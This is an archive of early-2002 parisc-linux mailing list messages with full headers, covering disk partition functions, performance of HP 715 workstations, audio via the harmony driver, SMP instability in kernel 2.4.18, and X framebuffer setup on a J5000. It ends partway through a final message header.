X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14427

This is a multi-part message in MIME format.
--------------03E7AF66C5D2F08F14376692
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi all.
I'm looking for function that manage disk layout. In fact I'm looking
for functions that are able to return start block and end block of
a partition. Do you know if it exists (I'm sure that it exists), and where it is ?
By the way, I'm looking for a function (or structure) that return the HPA 
and the SPA of a disk (but for this I find nothing, except for the boot 
disk in page0).

	Thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------03E7AF66C5D2F08F14376692
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------03E7AF66C5D2F08F14376692--




From - Thu Nov 08 21:22:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dump: need disk layout function.
Date: Tue, 26 Mar 2002 07:21:41 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20020326072141.E22220@parcelfarce.linux.theplanet.co.uk>
References: <3CA01EB4.52B5F416@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621186 5304 80.91.229.3 (22 Nov 2014 01:53:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:06 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 26 00:21:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8074E482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Mar 2002 00:21:43 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16plH3-0004m5-00; Tue, 26 Mar 2002 07:21:41 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3CA01EB4.52B5F416@admin.france.hp.com>; from bruno_vidal@hpfrcu03.france.hp.com on Tue, Mar 26, 2002 at 08:09:40AM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14428

On Tue, Mar 26, 2002 at 08:09:40AM +0100, Bruno Vidal wrote:
> I'm looking for function that manage disk layout. In fact I'm looking
> for functions that are able to return start block and end block of
> a partition. Do you know if it exists (I'm sure that it exists), and where it is ?
> By the way, I'm looking for a function (or structure) that return the HPA 
> and the SPA of a disk (but for this I find nothing, except for the boot 
> disk in page0).

Tried fs/partitions/msdos.c?

How can a disc have HPA and SPA?  Are you trying to find the HPA/SPA of
the disc's controller?

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Lavender <plaven@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] performance?
Date: Tue, 26 Mar 2002 22:43:58 +1100
Lines: 33
Approved: news@gmane.org
Message-ID: <20020326224358.B28171@piglet>
Reply-To: plaven@bigpond.net.au
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621186 5306 80.91.229.3 (22 Nov 2014 01:53:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:06 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 26 04:44:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta03bw.bigpond.com (mta03bw.bigpond.com [139.134.6.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06E10482C
	for <parisc-linux@parisc-linux.org>; Tue, 26 Mar 2002 04:44:42 -0700 (MST)
Original-Received: from piglet.sspl.net.au ([144.135.24.72]) by
          mta03bw.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GTKWL700.BSF for <parisc-linux@parisc-linux.org>; Tue, 26 Mar
          2002 21:43:55 +1000 
Original-Received: from CPE-203-51-26-70.nsw.bigpond.net.au ([203.51.26.70]) by bwmam02.mailsvc.email.bigpond.com(MailRouter V3.0i 11/366967); 26 Mar 2002 21:43:54
Original-Received: (from pete@localhost)
	by piglet.sspl.net.au (8.9.3/8.9.3) id WAA31399
	for parisc-linux@parisc-linux.org; Tue, 26 Mar 2002 22:43:59 +1100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Operating-System: Linux/2.2.13 (i586)
X-Uptime: 10:36pm  up 20 days,  6:58,  8 users,  load average: 0.07, 0.02, 0.00
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14429

Hi Everyone,

I know I have asked this sort of thing before, but I'm doing c++ this
semester and as such I have been using the hppa box (715/64) wiht 128
meg ram as my "dev" box.

Compiling and running of a program that finds perfect numbers upto
10000 is somewhat slow.. but that's ok..

It wasn't until I compiled it on my p90 with 48 meg ram running a a
zillion services and daemons that I noticed just how slow the 715 is.
Running the program proved this even further.

I thought the 715/64 was about similar in performance.. but this
simple observation shows this not to be the case.

As a webserver the 715 is fine... but I'm now thinking that when these
exercises and assignments start getting bigger that the 715 will be
just a little too slow for my liking.  This isn't a bad thing.. just
an observation...



Regards,

Pete.

-- 
				Due to a lack of imagination, 
				this signature will remain 
				under construction indefinately.



From - Thu Nov 08 21:22:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jean-Louis Abat" <jl_abat@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] does audio works on 712,715 and 735?
Date: Tue, 26 Mar 2002 12:46:02 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <DAV742SbPkPuOlvX6D900005761@hotmail.com>
References: <3CA01EB4.52B5F416@admin.france.hp.com> <20020326072141.E22220@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621186 5309 80.91.229.3 (22 Nov 2014 01:53:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:06 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 26 04:45:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (dav74.law15.hotmail.com [64.4.22.209])
	by dsl2.external.hp.com (Postfix) with ESMTP id 89148484B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Mar 2002 04:45:24 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Tue, 26 Mar 2002 03:45:22 -0800
X-Originating-IP: [134.214.164.162]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 26 Mar 2002 11:45:22.0789 (UTC) FILETIME=[B6709950:01C1D4BB]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14430

hi,

I ear that audio works with 735!
Does it work with 712 and 715??
I tried a few month ago on 712, but it didn't work... I didn't upgrade since
that time, from which kernel/packages versions could it work?

best regards

jl.



From - Thu Nov 08 21:22:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tilo Jandt <tilo@jandt-online.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] does audio works on 712,715 and 735?
Date: Tue, 26 Mar 2002 13:06:26 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <5.1.0.14.2.20020326130443.02e50c90@pop.puretec.de>
References: <3CA01EB4.52B5F416@admin.france.hp.com>
 <20020326072141.E22220@parcelfarce.linux.theplanet.co.uk> <DAV742SbPkPuOlvX6D900005761@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621186 5315 80.91.229.3 (22 Nov 2014 01:53:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:06 +0000 (UTC)
To: "Jean-Louis Abat" <jl_abat@hotmail.com>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 26 05:10:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tom.hrz.tu-chemnitz.de (tom.hrz.tu-chemnitz.de [134.109.132.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 213C8482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Mar 2002 05:10:14 -0700 (MST)
Original-Received: from pat.hrz.tu-chemnitz.de ([134.109.132.143] ident=mail)
	by tom.hrz.tu-chemnitz.de with esmtp (Exim 3.32 #3)
	id 16ppmG-00013M-00; Tue, 26 Mar 2002 13:10:12 +0100
Original-Received: from gerd.csn.tu-chemnitz.de ([134.109.88.146] helo=gerd.jandt-online.net)
	by pat.hrz.tu-chemnitz.de with esmtp (Exim 3.32 #2)
	id 16ppmF-0007ks-00; Tue, 26 Mar 2002 13:10:11 +0100
X-Sender: pt7606182-tilo@pop.puretec.de
X-Mailer: QUALCOMM Windows Eudora Version 5.1
In-Reply-To: <DAV742SbPkPuOlvX6D900005761@hotmail.com>
Original-References: <3CA01EB4.52B5F416@admin.france.hp.com>
 <20020326072141.E22220@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14431

hi,

>Does it work with 712 and 715??

With 712 it works fine.
I've got a 712/60 and it works fine while playing MP3.

>I tried a few month ago on 712, but it didn't work... I didn't upgrade=
 since
>that time, from which kernel/packages versions could it work?

You need the harmony driver.
I think all Kernel > 2.4.17 do have this driver.

cya,
Tilo

|[ Tilo Jandt, K=F6rnerstra=DFe 8, D-09306 Rochlitz         ]|
|[ mailto:tilo@jandt-online.net ]  [ ICQ: 73832493              ]|
|[ Phone: +49 179 5333 255   ]  [ Fax: +49 3737 771478  ]|





From - Thu Nov 08 21:22:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] performance?
Date: Tue, 26 Mar 2002 15:44:44 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20020326154444.D26865@parcelfarce.linux.theplanet.co.uk>
References: <20020326224358.B28171@piglet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621187 5319 80.91.229.3 (22 Nov 2014 01:53:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:07 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Peter Lavender <plaven@bigpond.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 26 08:44:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6C2FC482C
	for <parisc-linux@parisc-linux.org>; Tue, 26 Mar 2002 08:44:47 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16pt7s-0006CG-00; Tue, 26 Mar 2002 15:44:44 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020326224358.B28171@piglet>; from plaven@bigpond.net.au on Tue, Mar 26, 2002 at 10:43:58PM +1100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14432

On Tue, Mar 26, 2002 at 10:43:58PM +1100, Peter Lavender wrote:
> It wasn't until I compiled it on my p90 with 48 meg ram running a a
> zillion services and daemons that I noticed just how slow the 715 is.
> Running the program proved this even further.

Would you mind posting some numbers?

Also, let's try to figure out what other variables are a factor.  Can you
compare gcc-3.0 on your x86 to the current compiler?

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building cvs 2.4.18
Date: Tue, 26 Mar 2002 08:16:01 -0800 (PST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33L2.0203260810010.13376-100000@eiger.apptechsys.com>
References: <20020326063217.50AB1482C@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621187 5321 80.91.229.3 (22 Nov 2014 01:53:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:07 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 26 09:16:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 170D7482C
	for <parisc-linux@parisc-linux.org>; Tue, 26 Mar 2002 09:16:12 -0700 (MST)
Original-Received: from eiger.apptechsys.com (ats198.apptechsys.com [207.14.35.198])
	by mail.apptechsys.com (Postfix) with ESMTP
	id 437FB7BC46; Tue, 26 Mar 2002 08:16:01 -0800 (PST)
In-Reply-To: <20020326063217.50AB1482C@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14433

On Mon, 25 Mar 2002, Grant Grundler wrote:

> I've stopped building SMP
> for 2.4.18 since SMP is b0rken at the moment.

I kinda noticed that when my box crashed again.  For now, I'll stop
messing with new versions and stick with my nice, stable 2.4.17-32-smp
debian version 23.  Debian version 32 crashes the box too.  Unfortunately,
23 seems to not detect my video card. I'll have more info when I get some
more time to experiment..

Could you let me know when smp stabilizes?  I may try non-smp today as a
last resort, but I hate wasting hardware ;)


-- 
	The Hitchhiker's Guide to the Galaxy has a few things to say on
the subject of towels.
	Most importantly, a towel has immense psychological value.  For
some reason, if a non-hitchhiker discovers that a hitchhiker has his towel
with him, he will automatically assume that he is also in possession of a
toothbrush, washcloth, flask, gnat spray, space suit, etc., etc.  Furthermore,
the non-hitchhiker will then happily lend the hitchhiker any of these or
a dozen other items that he may have "lost".  After all, any man who can
hitch the length and breadth of the Galaxy, struggle against terrible odds,
win through and still know where his towel is, is clearly a man to be
reckoned with.
		-- Douglas Adams, "The Hitchhiker's Guide to the Galaxy"




From - Thu Nov 08 21:22:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] X on J5000
Date: Tue, 26 Mar 2002 17:19:18 -0800 (PST)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33L2.0203261716430.13376-100000@eiger.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621187 5323 80.91.229.3 (22 Nov 2014 01:53:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:07 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 26 18:19:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 02256482C
	for <parisc-linux@parisc-linux.org>; Tue, 26 Mar 2002 18:19:21 -0700 (MST)
Original-Received: from eiger.apptechsys.com (ats198.apptechsys.com [207.14.35.198])
	by mail.apptechsys.com (Postfix) with ESMTP id E7F157BC49
	for <parisc-linux@parisc-linux.org>; Tue, 26 Mar 2002 17:19:18 -0800 (PST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14434

I've finally got a fairly stable setup - the latest 2.4.18-pa11 single
proc.  Now I've got a USB card, and I am able to make the graphics console
and hid keyboard working.  Now I've moved on to X.  I read somewhere, tho
I forget where, that I have to do fbset -i to get the resolution.  This
reports no such device.

So, I'd like a pointer to an X on J5000 setup howto and a little help
figuring out the fb stuff.


TIA


-- 
If you sell diamonds, you cannot expect to have many customers.
But a diamond is a diamond even if there are no customers.
		-- Swami Prabhupada




From - Thu Nov 08 21:22:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X on J5000
Date: 26 Mar 2002 18:39:12 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <1017193152.8324.6.camel@beavis>
References: <Pine.LNX.4.33L2.0203261716430.13376-100000@eiger.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621188 5326 80.91.229.3 (22 Nov 2014 01:53:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:08 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 26 18:39:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7D22A482C
	for <parisc-linux@parisc-linux.org>; Tue, 26 Mar 2002 18:39:14 -0700 (MST)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id B8C96BD2C; Tue, 26 Mar 2002 18:39:12 -0700 (MST)
In-Reply-To: <Pine.LNX.4.33L2.0203261716430.13376-100000@eiger.apptechsys.com>
X-Mailer: Evolution/1.0.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14435

Jeremy,

When the system booted up, did you see Tux?  If you saw the Tux
log that means the fb is setup properly and fbset -i should work.

If you didn't see tux that means the fb is not working for your card.

hope that helps!

- Ryan

On Tue, 2002-03-26 at 18:19, Jeremy Drake wrote:
> I've finally got a fairly stable setup - the latest 2.4.18-pa11 single
> proc.  Now I've got a USB card, and I am able to make the graphics console
> and hid keyboard working.  Now I've moved on to X.  I read somewhere, tho
> I forget where, that I have to do fbset -i to get the resolution.  This
> reports no such device.
> 
> So, I'd like a pointer to an X on J5000 setup howto and a little help
> figuring out the fb stuff.
> 
> 
> TIA
> 
> 
> -- 
> If you sell diamonds, you cannot expect to have many customers.
> But a diamond is a diamond even if there are no customers.
> 		-- Swami Prabhupada
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:22:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X on J5000
Date: Tue, 26 Mar 2002 22:20:46 -0500
Lines: 26
Approved: news@gmane.org
